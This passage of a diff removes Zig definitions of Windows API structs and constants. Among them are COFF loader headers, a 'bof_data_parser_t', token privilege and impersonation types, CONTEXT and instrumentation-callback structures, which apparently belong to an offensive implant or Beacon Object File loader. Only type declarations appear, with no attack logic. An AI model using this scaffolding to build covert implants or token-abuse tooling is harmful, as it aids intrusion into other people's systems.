null; - info.cbNonce = 0; - info.pbAuthData = null; - info.cbAuthData = 0; - info.pbTag = null; - info.cbTag = 0; - info.pbMacContext = null; - info.cbMacContext = 0; - info.dwFlags = 0; - info.pbIV = null; - info.cbIV = 0; -} - -pub const UNICODE_STRING = extern struct { - Length: u16, - MaximumLength: u16, - Buffer: [*]u16, -}; - -pub const SYSTEM_INFO = extern struct { - u: extern union { - dwOemId: DWORD, - s: extern struct { - wProcessorArchitecture: WORD, - wReserved: WORD, - }, - }, - dwPageSize: DWORD, - lpMinimumApplicationAddress: LPVOID, - lpMaximumApplicationAddress: LPVOID, - dwActiveProcessorMask: DWORD_PTR, - dwNumberOfProcessors: DWORD, - dwProcessorType: DWORD, - dwAllocationGranularity: DWORD, - wProcessorLevel: WORD, - wProcessorRevision: WORD, -}; - -pub const COORD = extern struct { - X: SHORT, - Y: SHORT, -}; - -pub const MEMORY_BASIC_INFORMATION = extern struct { - BaseAddress: LPVOID, - AllocationBase: LPVOID, - AllocationProtect: DWORD, - RegionSize: SIZE_T, - State: DWORD, - Protect: DWORD, - Type: DWORD, -}; - -pub const SECURITY_ATTRIBUTES = extern struct { - nLength: DWORD, - lpSecurityDescriptor: ?LPVOID, - bInheritHandle: BOOL, -}; - -pub const PROCESS_INFORMATION = extern struct { - hProcess: HANDLE, - hThread: HANDLE, - dwProcessId: DWORD, - dwThreadId: DWORD, -}; - -pub const STARTUPINFOA = extern struct { - cb: DWORD, - lpReserved: LPSTR, - lpDesktop: LPSTR, - lpTitle: LPSTR, - dwX: DWORD, - dwY: DWORD, - dwXSize: DWORD, - dwYSize: DWORD, - dwXCountChars: DWORD, - dwYCountChars: DWORD, - dwFillAttribute: DWORD, - dwFlags: DWORD, - wShowWindow: WORD, - cbReserved2: WORD, - lpReserved2: *BYTE, - hStdInput: HANDLE, - hStdOutput: HANDLE, - hStdError: HANDLE, -}; - -pub const SYSTEMTIME = extern struct { - wYear: WORD, - wMonth: WORD, - wDayOfWeek: WORD, - wDay: WORD, - wHour: WORD, - wMinute: WORD, - wSecond: WORD, - wMilliseconds: WORD, -}; - -pub const CONTEXT = extern struct { - P1Home: DWORD64, - P2Home: DWORD64, - P3Home: DWORD64, - P4Home: DWORD64, - P5Home: DWORD64, - P6Home: DWORD64, - ContextFlags: DWORD, - MxCsr: DWORD, - SegCs: WORD, - SegDs: WORD, - SegEs: WORD, - SegFs: WORD, - SegGs: WORD, - SegSs: WORD, - EFlags: DWORD, - Dr0: DWORD64, - Dr1: DWORD64, - Dr2: DWORD64, - Dr3: DWORD64, - Dr6: DWORD64, - Dr7: DWORD64, - Rax: DWORD64, - Rcx: DWORD64, - Rdx: DWORD64, - Rbx: DWORD64, - Rsp: DWORD64, - Rbp: DWORD64, - Rsi: DWORD64, - Rdi: DWORD64, - R8: DWORD64, - R9: DWORD64, - R10: DWORD64, - R11: DWORD64, - R12: DWORD64, - R13: DWORD64, - R14: DWORD64, - R15: DWORD64, - Rip: DWORD64, -}; - -pub const EXCEPTION_RECORD = extern struct { - ExceptionCode: DWORD, - ExceptionFlags: DWORD, - ExceptionRecord: *EXCEPTION_RECORD, - ExceptionAddress: *anyopaque, - NumberParameters: DWORD, - ExceptionInformation: [15]ULONG_PTR, -}; - -pub const EXCEPTION_POINTERS = extern struct { - ExceptionRecord: *EXCEPTION_RECORD, - ContextRecord: *CONTEXT, -}; - -pub const RTL_OSVERSIONINFOW = extern struct { - dwOSVersionInfoSize: DWORD, - dwMajorVersion: DWORD, - dwMinorVersion: DWORD, - dwBuildNumber: DWORD, - dwPlatformId: DWORD, - szCSDVersion: [128]WCHAR, -}; - -pub const BCRYPT_ALG_HANDLE = *opaque {}; -pub const BCRYPT_KEY_HANDLE = *opaque {}; -pub const BCRYPT_SECRET_HANDLE = *opaque {}; - -pub const BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO = extern struct { - cbSize: ULONG, - dwInfoVersion: ULONG, - pbNonce: ?*u8, - cbNonce: ULONG, - pbAuthData: ?*u8, - cbAuthData: ULONG, - pbTag: ?*u8, - cbTag: ULONG, - pbMacContext: ?*u8, - cbMacContext: ULONG, - dwFlags: ULONG, - pbIV: ?*u8, - cbIV: ULONG, -}; - -pub const coff_file_header_t = extern struct { - Machine: u16, - NumberOfSections: u16, - TimeDateStamp: u32, - PointerToSymbolTable: u32, - NumberOfSymbols: u32, - SizeOfOptionalHeader: u16, - Characteristics: u16, -}; - -pub const coff_section_header_t = extern struct { - Name: [8]u8, - VirtualSize: u32, - VirtualAddress: u32, - SizeOfRawData: u32, - PointerToRawData: u32, - PointerToRelocations: u32, - PointerToLinenumbers: u32, - NumberOfRelocations: u16, - NumberOfLinenumbers: u16, - Characteristics: u32, -}; - -pub const coff_symbol_t = extern struct { - Name: extern union { - ShortName: [8]u8, - LongName: extern struct { - Zeroes: u32, - Offset: u32, - }, - }, - Value: u32, - SectionNumber: i16, - Type: u16, - StorageClass: u8, - NumberOfAuxSymbols: u8, -}; - -pub const coff_reloc_t = extern struct { - VirtualAddress: u32, - SymbolTableIndex: u32, - Type: u16, -}; - -pub const coff_mapped_section_t = struct { - data: []u8, - characteristics: u32, - name: [8]u8, -}; - -pub const bof_data_parser_t = struct { - data: []const u8, - offset: usize, -}; - -pub const OBJECT_ATTRIBUTES = extern struct { - Length: ULONG, - RootDirectory: ?HANDLE, - ObjectName: ?*anyopaque, - Attributes: ULONG, - SecurityDescriptor: ?*anyopaque, - SecurityQualityOfService: ?*anyopaque, -}; - -pub const CLIENT_ID = extern struct { - UniqueProcess: HANDLE, - UniqueThread: ?HANDLE, -}; - -pub const PROCESS_INSTRUMENTATION_CALLBACK = extern struct { - Version: ULONG, - Reserved: ULONG, - Callback: ?*anyopaque, -}; - -pub const PROCESS_CREATE_INFO = extern struct { - Size: SIZE_T, - ProcessHandle: HANDLE, - ParentProcess: HANDLE, -}; - -pub const SECURITY_IMPERSONATION_LEVEL = enum(u32) { - SecurityAnonymous = 0, - SecurityIdentification = 1, - SecurityImpersonation = 2, - SecurityDelegation = 3, -}; - -pub const TOKEN_TYPE = enum(u32) { - TokenPrimary = 1, - TokenImpersonation = 2, -}; - -pub const TOKEN_DUPLICATE: DWORD = 0x0002; -pub const TOKEN_QUERY: DWORD = 0x0008; -pub const TOKEN_ADJUST_PRIVILEGES: DWORD = 0x0020; -pub const TOKEN_ASSIGN_PRIMARY: DWORD = 0x0001; -pub const TOKEN_IMPERSONATE: DWORD = 0x0004; - -pub const LUID = extern struct { - LowPart: DWORD, - HighPart: LONG, -}; - -pub const LUID_AND_ATTRIBUTES = extern struct { - Luid: LUID, - Attributes: DWORD, -}; - -pub const TOKEN_PRIVILEGES = extern struct { - PrivilegeCount: DWORD, - Privileges: [1]LUID_AND_ATTRIBUTES, -}; - -pub const SE_PRIVILEGE_ENABLED: DWORD = 0x00000002; -pub const GENERIC_READ: DWORD = 0x80000000; -pub const GENERIC_WRITE: DWORD = 0x40000000; -pub const OPEN_EXISTING: DWORD = 3; -pub const OPEN_ALWAYS: DWORD = 4; -pub const CREATE_ALWAYS: DWORD = 2; -pub const FILE_SHARE_READ: DWORD = 0x00000001; -pub const FILE_SHARE_WRITE: DWORD = 0x00000002; -pub const FILE_ATTRIBUTE_NORMAL: DWORD = 0x00000080; -pub const INVALID_HANDLE_VALUE: HANDLE = @ptrFromInt(~@as(usize, 0)); - -pub const CRITICAL_SECTION = extern struct { - DebugInfo: ?*anyopaque, - LockCount: LONG, - RecursionCount: LONG, - OwningThread: HANDLE, - LockSemaphore: HANDLE, - SpinCount: ULONG_PTR, -}; - -pub const PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE: DWORD_PTR = 0x00020016;